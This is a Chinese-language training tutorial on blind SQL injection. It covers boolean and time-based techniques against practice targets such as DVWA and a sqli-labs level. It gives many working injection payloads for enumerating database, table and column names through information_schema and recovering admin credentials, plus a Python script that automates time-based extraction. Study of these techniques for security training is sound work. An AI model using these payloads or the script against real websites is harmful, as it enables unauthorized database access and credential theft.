一、什么是盲注
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
二、盲注的分类
1、布尔盲注
2、时间盲注
三、实训
1、布尔盲注:
web页面只返回true、false两种数据类型,利用页面返回不同,逐一猜测数据。
2、注入步骤:
1、识别可注入参数:首先需要找到应用程序中可能存在 SQL 注入漏洞的输入参数,比如 URL 参数、表单字段等。
2、确定注入点:在确认了可注入参数后,就需要确定具体注入点的位置,即找到恶意负载可以被注入的地方。
3、获取系统信息:从注入点开始构建不同的 SQL 查询语句,观察目标系统的响应行为,进而推断出系统内部的结构、版本号等信息。
4、判断目标数据库管理系统类别:通过获取系统信息获得目标系统所使用的数据库类型,从而针对不同类型数据库的差异性进行进一步攻击。
5、构造 SQL 注入语句并发送负载请求:根据已获得的数据结构构造相应的恶意负载,并与正常请求混合在一起,向目标应用程序提交。
6、分析反馈结果:观察目标应用程序返回的页面内容来判断是否发现安全漏洞,如果存在,则确认漏洞类型、影响范围并寻找后续攻击路径。
7、利用 SQL 注入漏洞:根据已发现的漏洞并通过手工或脚本编写恶意语句来利用目标漏洞,如获取系统管理员密码、删除表等恶意行为。
3、SQL Injection (Blind)(low)
首先查看源码确定为get传参且没有sql注入相关限制
1、判断注入类型:输入1 、-1
尝试注入后发现只有两种回显方式,判断为SQL盲注。
2、判断是字符型还是数字型
输入:1' and 1=1 #,回显存在,此时后台语句为:
SELECT * FROM database_name WHERE id='1' and 1=1# ';
输入 1' and 1=2 #,回显报错,说明判断了1=2错误,因此认为是字符型sql盲注
SELECT * FROM database_name WHERE id='1' and 1=2# ';
3、获取库名
1.数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/…)。首先猜测数据库名称的长度(二分法)
1' and length(database())>20 # 错误 1' and length(database())>10 # 错误
1' and length(database())>5# 错误 1' and length(database())>3# 正确 1' and length(database())=4# 正确
得到数据库名长度为4
2.利用substr()函数从给定字符串中,分离出数据库名称的位置,并分别转换为ASCII,与对应的ASCII值比较大小,找到值相同的字符。
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。
|
length | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。
|
1' and ascii(substr(database(),1,1))>100 # 错误
1' and ascii(substr(database(),1,1))=100 # 正确
1' and ascii(substr(database(),2,1))>100 # 正确
一次尝试出(2,1)(3,1)(4,1)的ASCII值,再对照ASCII码表找出对应的字符,这里最后得到库名为dvwa
4、猜表名(表的个数,表的名字长度,表的名字)
DBMS数据库管理系统—>information_schema库—>tables表 —>table_schema、table_name、table_rows…字段。
1.猜表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database()) >5# 错误
1' and (select count(table_name) from information_schema.tables where table_schema=database()) >3# 错误
1' and (select count(table_name) from information_schema.tables where table_schema=database()) =2# 正确
得到该数据库中共有两个表
2.确定表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # 正确
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # 错误
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
得到表的名字长度为9
3.猜表的名字:使用和确定库名相同的方式
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,a))>或<字母的ascii值 #
limit子句可以被用于强制 Select语句返回指定的记录数
得到第一个表名为guestbook;第二个表名为users
4.猜解测表中的字段名(表中的字段数目、某个字段名的字符长度、字段的字符组成以及位置; 某个字段的全名匹配)
采用相似方法从user表中的第一个字段开始,首先猜测出字段长度再依次猜测出具体字段名称最终得到账户:admin 密码password
3、时间盲注
1、三个常用函数:sleep()、substr()、if()
1.sleep()
sleep() 函数延迟代码执行若干秒。
语法:
sleep(seconds)
参数 | 描述 |
---|---|
seconds | 必需。以秒计的暂停时间。 |
2.substr()
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
参数 | 描述 |
---|---|
string | 必需。规定要返回其中一部分的字符串。 |
start | 必需。规定在字符串的何处开始。
|
length | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。
|
3.if()
if(condition,true,false)
2、什么是时间盲注
时间盲注又称延迟注入,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
1' and sleep(5) #
如果页面延迟五秒,说明正确。注入语句与布尔盲注相似,但是过程太繁琐一般使用自动化注入。
可以使用脚本进行猜测:(使用时做出修改)
import requests
import time# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
(length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
(ascii(
substr(
(database())
,{n},1)
) ={r})
, sleep(5), 3) -- a"""# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
start_time = time.time()
response = requests.get(url= url+payload_len.format(n= length))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 响应时间>5秒时,表示猜解成功
if use_time > 5:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 页面中出现此内容则表示成功
if use_time > 5:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)